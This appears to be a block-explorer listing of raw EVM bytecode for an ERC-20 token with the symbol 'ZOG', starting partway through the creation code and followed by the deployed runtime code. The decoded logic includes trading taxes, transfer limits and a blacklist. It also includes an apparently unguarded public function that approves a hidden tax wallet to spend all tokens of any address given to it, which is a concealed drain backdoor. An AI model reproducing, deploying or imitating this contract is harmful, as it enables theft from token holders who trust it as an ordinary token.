ffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b9e573d5f803e3d5ffd5b5050565b5f818311611bb05782611bb2565b815b905092915050565b6001600c60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611bf157611bf0612b4b565b5b604051908082528060200260200182016040528015611c1f5781602001602082028036833780820191505090505b50905030815f81518110611c3657611c35612b78565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611cfe91906124c6565b81600181518110611d1257611d11612b78565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d7830600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ee2565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dda959493929190612c5c565b5f604051808303815f87803b158015611df1575f80fd5b505af1158015611e03573d5f803e3d5ffd5b50505050505f600c60156101000a81548160ff02191690831515021790555050565b5f808284611e3391906129a8565b905083811015611e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6f90612cfe565b60405180910390fd5b8091505092915050565b5f611ec383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a18565b905092915050565b5f8083118290611f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f089190611f9c565b60405180910390fd5b505f8385611f1f9190612545565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f6e82611f2c565b611f788185611f36565b9350611f88818560208601611f46565b611f9181611f54565b840191505092915050565b5f6020820190508181035f830152611fb48184611f64565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fe982611fc0565b9050919050565b611ff981611fdf565b8114612003575f80fd5b50565b5f8135905061201481611ff0565b92915050565b5f819050919050565b61202c8161201a565b8114612036575f80fd5b50565b5f8135905061204781612023565b92915050565b5f806040838503121561206357612062611fbc565b5b5f61207085828601612006565b925050602061208185828601612039565b9150509250929050565b5f8115159050919050565b61209f8161208b565b82525050565b5f6020820190506120b85f830184612096565b92915050565b6120c78161201a565b82525050565b5f6020820190506120e05f8301846120be565b92915050565b5f805f606084860312156120fd576120fc611fbc565b5b5f61210a86828701612006565b935050602061211b86828701612006565b925050604061212c86828701612039565b9150509250925092565b5f60ff82169050919050565b61214b81612136565b82525050565b5f6020820190506121645f830184612142565b92915050565b5f6020828403121561217f5761217e611fbc565b5b5f61218c84828501612006565b91505092915050565b61219e81611fdf565b82525050565b5f6020820190506121b75f830184612195565b92915050565b5f80604083850312156121d3576121d2611fbc565b5b5f6121e085828601612006565b92505060206121f185828601612006565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561227d57808604811115612259576122586121fb565b5b60018516156122685780820291505b808102905061227685612228565b945061223d565b94509492505050565b5f826122955760019050612350565b816122a2575f9050612350565b81600181146122b857600281146122c2576122f1565b6001915050612350565b60ff8411156122d4576122d36121fb565b5b8360020a9150848211156122eb576122ea6121fb565b5b50612350565b5060208310610133831016604e8410600b84101617156123265782820a905083811115612321576123206121fb565b5b612350565b6123338484846001612234565b9250905081840481111561234a576123496121fb565b5b81810290505b9392505050565b5f6123618261201a565b915061236c83612136565b92506123997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612286565b905092915050565b5f6123ab8261201a565b91506123b68361201a565b92508282026123c48161201a565b915082820484148315176123db576123da6121fb565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612416602083611f36565b9150612421826123e2565b602082019050919050565b5f6020820190508181035f8301526124438161240a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61247e601783611f36565b91506124898261244a565b602082019050919050565b5f6020820190508181035f8301526124ab81612472565b9050919050565b5f815190506124c081611ff0565b92915050565b5f602082840312156124db576124da611fbc565b5b5f6124e8848285016124b2565b91505092915050565b5f6040820190506125045f830185612195565b6125116020830184612195565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61254f8261201a565b915061255a8361201a565b92508261256a57612569612518565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6125a161259c61259784612575565b61257e565b61201a565b9050919050565b6125b181612587565b82525050565b5f60c0820190506125ca5f830189612195565b6125d760208301886120be565b6125e460408301876125a8565b6125f160608301866125a8565b6125fe6080830185612195565b61260b60a08301846120be565b979650505050505050565b5f8151905061262481612023565b92915050565b5f805f6060848603121561264157612640611fbc565b5b5f61264e86828701612616565b935050602061265f86828701612616565b925050604061267086828701612616565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126d4602483611f36565b91506126df8261267a565b604082019050919050565b5f6020820190508181035f830152612701816126c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612762602283611f36565b915061276d82612708565b604082019050919050565b5f6020820190508181035f83015261278f81612756565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6127f0602583611f36565b91506127fb82612796565b604082019050919050565b5f6020820190508181035f83015261281d816127e4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61287e602383611f36565b915061288982612824565b604082019050919050565b5f6020820190508181035f8301526128ab81612872565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61290c602983611f36565b9150612917826128b2565b604082019050919050565b5f6020820190508181035f83015261293981612900565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612974601983611f36565b915061297f82612940565b602082019050919050565b5f6020820190508181035f8301526129a181612968565b9050919050565b5f6129b28261201a565b91506129bd8361201a565b92508282019050808211156129d5576129d46121fb565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612a0f601a83611f36565b9150612a1a826129db565b602082019050919050565b5f6020820190508181035f830152612a3c81612a03565b9050919050565b5f612a4d8261201a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7f57612a7e6121fb565b5b600182019050919050565b5f612a948261201a565b9150612a9f8361201a565b9250828203905081811115612ab757612ab66121fb565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b17602183611f36565b9150612b2282612abd565b604082019050919050565b5f6020820190508181035f830152612b4481612b0b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612bd781611fdf565b82525050565b5f612be88383612bce565b60208301905092915050565b5f602082019050919050565b5f612c0a82612ba5565b612c148185612baf565b9350612c1f83612bbf565b805f5b83811015612c4f578151612c368882612bdd565b9750612c4183612bf4565b925050600181019050612c22565b5085935050505092915050565b5f60a082019050612c6f5f8301886120be565b612c7c60208301876125a8565b8181036040830152612c8e8186612c00565b9050612c9d6060830185612195565b612caa60808301846120be565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ce8601b83611f36565b9150612cf382612cb4565b602082019050919050565b5f6020820190508181035f830152612d1581612cdc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df6bfe7cfe5a92902ee191c552a75ba758949f75fa0d99dd32d2f34d37ba0f0864736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c80637d1db4a5116100945780639cec460a116100635780639cec460a14610347578063a9059cbb14610371578063b9b590a0146103ad578063dd62ed3e146103e9578063f5648a4f1461042557610113565b80637d1db4a51461029f5780638da5cb5b146102c95780639509e96e146102f357806395d89b411461031d57610113565b8063293230b8116100db578063293230b8146101e3578063313ce567146101f95780636c0a24eb1461022357806370a082311461024d578063715018a61461028957610113565b806306fdde0314610117578063095ea7b31461014157806318160ddd1461017d57806323b872dd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b61043b565b6040516101389190611f9c565b60405180910390f35b34801561014c575f80fd5b506101676004803603810190610162919061204d565b610478565b60405161017491906120a5565b60405180910390f35b348015610188575f80fd5b50610191610495565b60405161019e91906120cd565b60405180910390f35b3480156101b2575f80fd5b506101cd60048036038101906101c891906120e6565b6104b8565b6040516101da91906120a5565b60405180910390f35b3480156101ee575f80fd5b506101f761058c565b005b348015610204575f80fd5b5061020d610aa9565b60405161021a9190612151565b60405180910390f35b34801561022e575f80fd5b50610237610ab1565b60405161024491906120cd565b60405180910390f35b348015610258575f80fd5b50610273600480360381019061026e919061216a565b610ab7565b60405161028091906120cd565b60405180910390f35b348015610294575f80fd5b5061029d610afd565b005b3480156102aa575f80fd5b506102b3610c4b565b6040516102c091906120cd565b60405180910390f35b3480156102d4575f80fd5b506102dd610c51565b6040516102ea91906121a4565b60405180910390f35b3480156102fe575f80fd5b50610307610c78565b60405161031491906120cd565b60405180910390f35b348015610328575f80fd5b50610331610c7e565b60405161033e9190611f9c565b60405180910390f35b348015610352575f80fd5b5061035b610cbb565b60405161036891906120cd565b60405180910390f35b34801561037c575f80fd5b506103976004803603810190610392919061204d565b610cc1565b6040516103a491906120a5565b60405180910390f35b3480156103b8575f80fd5b506103d360048036038101906103ce919061216a565b610cde565b6040516103e091906120a5565b60405180910390f35b3480156103f4575f80fd5b5061040f600480360381019061040a91906121bd565b610d78565b60405161041c91906120cd565b60405180910390f35b348015610430575f80fd5b50610439610dfa565b005b60606040518060400160405280600381526020017f5a4f470000000000000000000000000000000000000000000000000000000000815250905090565b5f61048b610484610edb565b8484610ee2565b6001905092915050565b5f6009600a6104a49190612357565b633b9aca006104b391906123a1565b905090565b5f6104c48484846110a5565b610581846104d0610edb565b61057c85604051806060016040528060288152602001612d1d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610533610edb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a189092919063ffffffff16565b610ee2565b600190509392505050565b610594610edb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106179061242c565b60405180910390fd5b600c60149054906101000a900460ff1615610670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066790612494565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061070c30600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6106f89190612357565b633b9aca0061070791906123a1565b610ee2565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610776573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079a91906124c6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610820573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084491906124c6565b6040518363ffffffff1660e01b81526004016108619291906124f1565b6020604051808303815f875af115801561087d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a191906124c6565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064606261092c30610ab7565b61093691906123a1565b6109409190612545565b5f8061094a610c51565b426040518863ffffffff1660e01b815260040161096c969594939291906125b7565b60606040518083038185885af1158015610988573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ad919061262a565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055506009600a6109f49190612357565b633b9aca00610a0391906123a1565b6006819055506009600a610a179190612357565b633b9aca00610a2691906123a1565b600781905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600c60176101000a81548160ff021916908315150217905550565b5f6009905090565b60075481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b05610edb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b889061242c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600381526020017f5a4f470000000000000000000000000000000000000000000000000000000000815250905090565b60095481565b5f610cd4610ccd610edb565b84846110a5565b6001905092915050565b5f610d2782600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d139190612357565b633b9aca00610d2291906123a1565b610ee2565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e02610edb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e859061242c565b60405180910390fd5b610e96610c51565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610ed8573d5f803e3d5ffd5b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f47906126ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590612778565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161109891906120cd565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a90612806565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612894565b60405180910390fd5b5f81116111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba90612922565b60405180910390fd5b5f6111cc610c51565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561123a575061120a610c51565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117685760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112dd575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6112e5575f80fd5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166113725761136f60646113616012546015541161134e57600e54611352565b6010545b85611a7a90919063ffffffff16565b611af190919063ffffffff16565b90505b5f821015801561138257505f4710155b80156113da5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561141257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561146c575f4790505f811061142c5761142b47611b3a565b5b611468606461145a6013546015541161144757600f5461144b565b6011545b86611a7a90919063ffffffff16565b611af190919063ffffffff16565b9150505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115155750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611568575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611622576006548211156115b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a99061298a565b60405180910390fd5b600754826115bf85610ab7565b6115c991906129a8565b111561160a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160190612a25565b60405180910390fd5b60155f81548092919061161c90612a43565b91905055505b5f61162c30610ab7565b9050600c60159054906101000a900460ff161580156116975750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116af5750600c60169054906101000a900460ff165b80156116bc575060085481115b80156116cb5750601454601554115b1561176657600c60179054906101000a900460ff16156117305743600d54101561172b5761170c6117078461170284600954611ba2565b611ba2565b611bba565b5f4790505f8111156117225761172147611b3a565b5b43600d81905550505b611765565b61174d6117488461174384600954611ba2565b611ba2565b611bba565b5f4790505f8111156117635761176247611b3a565b5b505b5b505b5f811115611867576117c08160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e2590919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161185e91906120cd565b60405180910390a35b6118b78260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e8290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061195a61190e8284611e8290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e2590919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119fd8486611e8290919063ffffffff16565b604051611a0a91906120cd565b60405180910390a350505050565b5f838311158290611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a569190611f9c565b60405180910390fd5b505f8385611a6d9190612a8a565b9050809150509392505050565b5f808303611a8a575f9050611aeb565b5f8284611a9791906123a1565b9050828482611aa69190612545565b14611ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611add90612b2d565b60405180910390fd5b809150505b92915050565b5f611b3283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ecb565b905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b9e573d5f803e3d5ffd5b5050565b5f818311611bb05782611bb2565b815b905092915050565b6001600c60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611bf157611bf0612b4b565b5b604051908082528060200260200182016040528015611c1f5781602001602082028036833780820191505090505b50905030815f81518110611c3657611c35612b78565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611cfe91906124c6565b81600181518110611d1257611d11612b78565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d7830600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ee2565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dda959493929190612c5c565b5f604051808303815f87803b158015611df1575f80fd5b505af1158015611e03573d5f803e3d5ffd5b50505050505f600c60156101000a81548160ff02191690831515021790555050565b5f808284611e3391906129a8565b905083811015611e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6f90612cfe565b60405180910390fd5b8091505092915050565b5f611ec383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a18565b905092915050565b5f8083118290611f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f089190611f9c565b60405180910390fd5b505f8385611f1f9190612545565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f6e82611f2c565b611f788185611f36565b9350611f88818560208601611f46565b611f9181611f54565b840191505092915050565b5f6020820190508181035f830152611fb48184611f64565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fe982611fc0565b9050919050565b611ff981611fdf565b8114612003575f80fd5b50565b5f8135905061201481611ff0565b92915050565b5f819050919050565b61202c8161201a565b8114612036575f80fd5b50565b5f8135905061204781612023565b92915050565b5f806040838503121561206357612062611fbc565b5b5f61207085828601612006565b925050602061208185828601612039565b9150509250929050565b5f8115159050919050565b61209f8161208b565b82525050565b5f6020820190506120b85f830184612096565b92915050565b6120c78161201a565b82525050565b5f6020820190506120e05f8301846120be565b92915050565b5f805f606084860312156120fd576120fc611fbc565b5b5f61210a86828701612006565b935050602061211b86828701612006565b925050604061212c86828701612039565b9150509250925092565b5f60ff82169050919050565b61214b81612136565b82525050565b5f6020820190506121645f830184612142565b92915050565b5f6020828403121561217f5761217e611fbc565b5b5f61218c84828501612006565b91505092915050565b61219e81611fdf565b82525050565b5f6020820190506121b75f830184612195565b92915050565b5f80604083850312156121d3576121d2611fbc565b5b5f6121e085828601612006565b92505060206121f185828601612006565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561227d57808604811115612259576122586121fb565b5b60018516156122685780820291505b808102905061227685612228565b945061223d565b94509492505050565b5f826122955760019050612350565b816122a2575f9050612350565b81600181146122b857600281146122c2576122f1565b6001915050612350565b60ff8411156122d4576122d36121fb565b5b8360020a9150848211156122eb576122ea6121fb565b5b50612350565b5060208310610133831016604e8410600b84101617156123265782820a905083811115612321576123206121fb565b5b612350565b6123338484846001612234565b9250905081840481111561234a576123496121fb565b5b81810290505b9392505050565b5f6123618261201a565b915061236c83612136565b92506123997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612286565b905092915050565b5f6123ab8261201a565b91506123b68361201a565b92508282026123c48161201a565b915082820484148315176123db576123da6121fb565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612416602083611f36565b9150612421826123e2565b602082019050919050565b5f6020820190508181035f8301526124438161240a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61247e601783611f36565b91506124898261244a565b602082019050919050565b5f6020820190508181035f8301526124ab81612472565b9050919050565b5f815190506124c081611ff0565b92915050565b5f602082840312156124db576124da611fbc565b5b5f6124e8848285016124b2565b91505092915050565b5f6040820190506125045f830185612195565b6125116020830184612195565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61254f8261201a565b915061255a8361201a565b92508261256a57612569612518565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6125a161259c61259784612575565b61257e565b61201a565b9050919050565b6125b181612587565b82525050565b5f60c0820190506125ca5f830189612195565b6125d760208301886120be565b6125e460408301876125a8565b6125f160608301866125a8565b6125fe6080830185612195565b61260b60a08301846120be565b979650505050505050565b5f8151905061262481612023565b92915050565b5f805f6060848603121561264157612640611fbc565b5b5f61264e86828701612616565b935050602061265f86828701612616565b925050604061267086828701612616565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126d4602483611f36565b91506126df8261267a565b604082019050919050565b5f6020820190508181035f830152612701816126c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612762602283611f36565b915061276d82612708565b604082019050919050565b5f6020820190508181035f83015261278f81612756565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6127f0602583611f36565b91506127fb82612796565b604082019050919050565b5f6020820190508181035f83015261281d816127e4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61287e602383611f36565b915061288982612824565b604082019050919050565b5f6020820190508181035f8301526128ab81612872565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61290c602983611f36565b9150612917826128b2565b604082019050919050565b5f6020820190508181035f83015261293981612900565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612974601983611f36565b915061297f82612940565b602082019050919050565b5f6020820190508181035f8301526129a181612968565b9050919050565b5f6129b28261201a565b91506129bd8361201a565b92508282019050808211156129d5576129d46121fb565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612a0f601a83611f36565b9150612a1a826129db565b602082019050919050565b5f6020820190508181035f830152612a3c81612a03565b9050919050565b5f612a4d8261201a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7f57612a7e6121fb565b5b600182019050919050565b5f612a948261201a565b9150612a9f8361201a565b9250828203905081811115612ab757612ab66121fb565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b17602183611f36565b9150612b2282612abd565b604082019050919050565b5f6020820190508181035f830152612b4481612b0b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612bd781611fdf565b82525050565b5f612be88383612bce565b60208301905092915050565b5f602082019050919050565b5f612c0a82612ba5565b612c148185612baf565b9350612c1f83612bbf565b805f5b83811015612c4f578151612c368882612bdd565b9750612c4183612bf4565b925050600181019050612c22565b5085935050505092915050565b5f60a082019050612c6f5f8301886120be565b612c7c60208301876125a8565b8181036040830152612c8e8186612c00565b9050612c9d6060830185612195565b612caa60808301846120be565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ce8601b83611f36565b9150612cf382612cb4565b602082019050919050565b5f6020820190508181035f830152612d1581612cdc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df6bfe7cfe5